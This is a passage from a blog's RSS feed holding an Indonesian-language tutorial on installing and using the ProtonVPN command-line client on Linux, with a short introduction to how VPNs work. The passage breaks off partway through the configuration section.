&lt;p&gt;&lt;a href=&quot;https://docs.freebsd.org/en/books/handbook/bsdinstall/#bsdinstall-start&quot; target=&quot;_blank&quot;&gt;https://docs.freebsd.org/en/books/handbook/bsdinstall/#bsdinstall-start&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-6&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>ProtonVPN CLI: Simple, Free, Yet Reliable VPN</title><link>https://shangdi.github.io/posts/tech/protonvpn/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/protonvpn/</guid><description>The most convenient way to connect to a VPN service.</description><pubDate>Sun, 26 Apr 2026 10:48:13 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Introduction to Proton&lt;a href=&quot;#introduction-to-proton&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Proton (atau Proton AG) adalah perusahaan teknologi asal Swiss yang menawarkan berbagai layanan online yang berorientasi pada privasi. Perusahaan ini didirikan pada tahun 2014 oleh sekelompok ilmuan yang bertemu di CERN (&lt;em&gt;Conseil Européen pour la Recherche Nucléaire&lt;/em&gt; / Organisasi Eropa untuk Riset Nuklir) dan meluncurkan Proton Mail.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Selain Proton Mail, Proton juga telah berkembang sejak dan memiliki beberapa layanan lainnya, seperti &lt;em&gt;Cloud Storate&lt;/em&gt;, &lt;em&gt;Password Manager&lt;/em&gt;, &lt;em&gt;VPN&lt;/em&gt;, dan beberapa layanan lainnya.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Saya akan membahas VPN dari Proton di artikel ini.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;What On Earth is VPN?&lt;a href=&quot;#what-on-earth-is-vpn&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;VPN atau &lt;em&gt;Virtual Private Network&lt;/em&gt; adalah sebuah teknologi yang dibuat dengan tujuan untuk melindungi privasi penggunanya ketika berselancar di internet. Dua ide utama VPN untuk mengamankan penggunanya adalah dengan:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Menyembunyikan &lt;em&gt;IP Address&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Mengenkripsi jaringan internet.
Dengan demikian, kita dapat berselancar di internet secara &lt;em&gt;private&lt;/em&gt; tanpa perlu khawatir dilacak oleh orang lain dan diambil data &lt;em&gt;browsing&lt;/em&gt; kita untuk dijual ke pengiklan.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;section&gt;&lt;h3&gt;How VPN Works?&lt;a href=&quot;#how-vpn-works&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Cara kerja VPN sebetulnya sangat sederhana: ketika kita menghubungkan perangkat kita ke server VPN dengan VPN client, otomatis kita akan membangun sebuah &lt;em&gt;tunnel&lt;/em&gt; yang terkenkripsi ke server VPN tersebut. Sehingga ketika kita berselancar di internet, perangkat kita akan menggunakan IP Address server VPN tersebut alih-alih &lt;em&gt;IP Address&lt;/em&gt; asli kita.&lt;/p&gt;&lt;p&gt;Berikut ilustrasi cara kerja VPN:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://bytebytego.com/guides/how-does-a-vpn-work/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;&quot; title=&quot;How VPN works.&quot; loading=&quot;lazy&quot; width=&quot;3000&quot; height=&quot;3900&quot; src=&quot;/_astro/ss1.Dnvb1c-z_Z1tMWup.webp&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah 4 tahapan kerja VPN:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Kita (&lt;em&gt;client&lt;/em&gt;) membuat tunnel yang aman antara perangkat yang kita gunakan dengan server VPN.&lt;/li&gt;
&lt;li&gt;Data yang ditransmisikan dienkripsi.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;IP Address&lt;/em&gt; asli kita disembunyikan sehingga seolah-olah aktivitas internetnya berasal dari server VPN.&lt;/li&gt;
&lt;li&gt;Lalu lintas internet kita dialihkan melalui server VPN.&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;The Benefits&lt;a href=&quot;#the-benefits&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Dengan menggunakan VPN:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Encryption&lt;/strong&gt;: Transmisi data kita akan terenkripsi.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Privacy&lt;/strong&gt;: ISP (&lt;em&gt;Internet Service Provider&lt;/em&gt;) tidak bisa melihat aktivitas kita.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security&lt;/strong&gt;: Hacker tidak dapat membajak komputer kita.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;The Shortcomings&lt;a href=&quot;#the-shortcomings&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Beberapa kelemahannya:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Blockage&lt;/strong&gt;: VPN kita bisa saja di-&lt;em&gt;block&lt;/em&gt; oleh ISP atau DNS tertentu.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Speed&lt;/strong&gt;: Koneksi yang lamban, karena server VPN yang jauh.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trust&lt;/strong&gt;: Harus memastikan VPN &lt;em&gt;provider&lt;/em&gt;-nya tidak jahat (mengambil data kita).&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Disclaimer!&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Artikel ini tidak disponsori oleh Proton!&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Pada artikel ini, saya akan memberikan tutorial untuk menggunakan Proton VPN yang berbasis &lt;strong&gt;CLI (&lt;em&gt;Command Line Interface&lt;/em&gt;)&lt;/strong&gt; saja. Oleh karena itu, penggunaan VPN berbasis GUI (&lt;em&gt;Graphical User Interface&lt;/em&gt;) tidak di-cover pada artikel ini.&lt;/p&gt;&lt;p&gt;Selain itu, artikel ini juga mengasumsikan pembacanya sudah membuat akun di website proton.&lt;/p&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;proton-vpn-cli&lt;/code&gt; di beberapa sistem operasi Linux:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install -y proton-vpn-cli&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy proton-vpn-cli&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install proton-vpn-cli&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install proton-vpn protonvpn-cli&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;proton-vpn-cli&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;proton-vpn-cli&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Selain itu, &lt;code&gt;proton-vpn-cli&lt;/code&gt; juga secara resmi dapat dijumpai di &lt;em&gt;repository&lt;/em&gt; Github:&lt;/p&gt;&lt;a href=&quot;https://github.com/ProtonVPN/proton-vpn-cli&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;ProtonVPN&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;proton-vpn-cli&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Lebih lanjut tentang instalasi &lt;code&gt;proton-vpn-cli&lt;/code&gt;, dapat dilihat di website resminya:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://protonvpn.com/support/linux-cli&quot; target=&quot;_blank&quot;&gt;https://protonvpn.com/support/linux-cli&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Usage&lt;a href=&quot;#usage&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah langkah-langkah penggunaan &lt;code&gt;proton-vpn-cli&lt;/code&gt;:&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Sign in&lt;a href=&quot;#1-sign-in&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita perlu masuk ke akun kita terlebih dahulu, melalui CLI tentu saja.&lt;br /&gt;
Perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;protonvpn&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;signin&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;username/email&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Masukkan password pada &lt;em&gt;prompt&lt;/em&gt; &lt;em&gt;input&lt;/em&gt; password.&lt;/p&gt;&lt;p&gt;Untuk memastikan kita sudah &lt;em&gt;sign-in&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;protonvpn&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;info&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Signing In to proton vpn account via cli&quot; loading=&quot;lazy&quot; width=&quot;357&quot; height=&quot;255&quot; src=&quot;/_astro/ss2.D3w1UkiL_1yr4yF.webp&quot; /&gt;&lt;figcaption&gt;Signing In to proton vpn account via cli&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Connect&lt;a href=&quot;#2-connect&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk terhubung ke server VPN secara &lt;em&gt;random&lt;/em&gt;, perintah sederhananya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;protonvpn&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;connect&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk melihat status koneksi:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;protonvpn&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Connecting to a random VPN server&quot; loading=&quot;lazy&quot; width=&quot;402&quot; height=&quot;320&quot; src=&quot;/_astro/ss3.CjbGizQh_Z1XQglz.webp&quot; /&gt;&lt;figcaption&gt;Connecting to a random VPN server&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Disconnect&lt;a href=&quot;#3-disconnect&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk memutuskan hubungan dengan server VPN:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;protonvpn&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;disconnect&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kita bisa pastikan lagi status koneksinya dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;protonvpn&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Disconnecting&quot; loading=&quot;lazy&quot; width=&quot;234&quot; height=&quot;253&quot; src=&quot;/_astro/ss4.zifYgixm_1zB5oG.webp&quot; /&gt;&lt;figcaption&gt;Disconnecting&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Sign out&lt;a href=&quot;#4-sign-out&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk keluar dari akun:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;protonvpn&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;signout&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk memastikannya kita sudah keluar:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;protonvpn&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;info&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Signing out&quot; loading=&quot;lazy&quot; width=&quot;333&quot; height=&quot;243&quot; src=&quot;/_astro/ss7.C1HGvPtN_ZmGl8i.webp&quot; /&gt;&lt;figcaption&gt;Signing out&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Miscelleanous&lt;a href=&quot;#miscelleanous&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;Registered Countries&lt;a href=&quot;#registered-countries&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita dapat melihat daftar negara yang terdapat server VPN milik Proton:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;protonvpn&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;countries&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;list&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;List of registered countries&quot; loading=&quot;lazy&quot; width=&quot;351&quot; height=&quot;592&quot; src=&quot;/_astro/ss5.xnEmzA6T_Z11ixm6.webp&quot; /&gt;&lt;figcaption&gt;List of registered countries&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Connect to A Country&lt;a href=&quot;#connect-to-a-country&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk terhubung ke server di negara tertentu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;protonvpn&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--country&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;Country&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Registered Cities&lt;a href=&quot;#registered-cities&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Kita juga dapat melihat daftar kota di suatu negara yang terdapat server VPN Proton:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;protonvpn&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;cities&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;list&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;Country&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Name/Country&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ID&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;List of registered cities in a country&quot; loading=&quot;lazy&quot; width=&quot;306&quot; height=&quot;599&quot; src=&quot;/_astro/ss6.Dz9LoDpI_Z2gN8GF.webp&quot; /&gt;&lt;figcaption&gt;List of registered cities in a country&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Connect to A City&lt;a href=&quot;#connect-to-a-city&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk terhubung ke server di negara tertentu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;protonvpn&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--city&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;City&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Config&lt;a href=&quot;#config&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk menampilkan konfigurasinya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;protonvpn&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;list&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;config list&quot; loading=&quot;lazy&quot; width=&quot;533&quot; height=&quot;427&quot; src=&quot;/_astro/ss8.DIbhU-Gj_uC3J1.webp&quot; /&gt;&lt;figcaption&gt;config list&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Tidak banyak yang dapat dilakukan di bagian konfigurasi ini kecuali kita sudah berlangganan.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Untuk mengeksplor lebih jauh fitur-fitur &lt;code&gt;proton-vpn-cli&lt;/code&gt; ini:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal 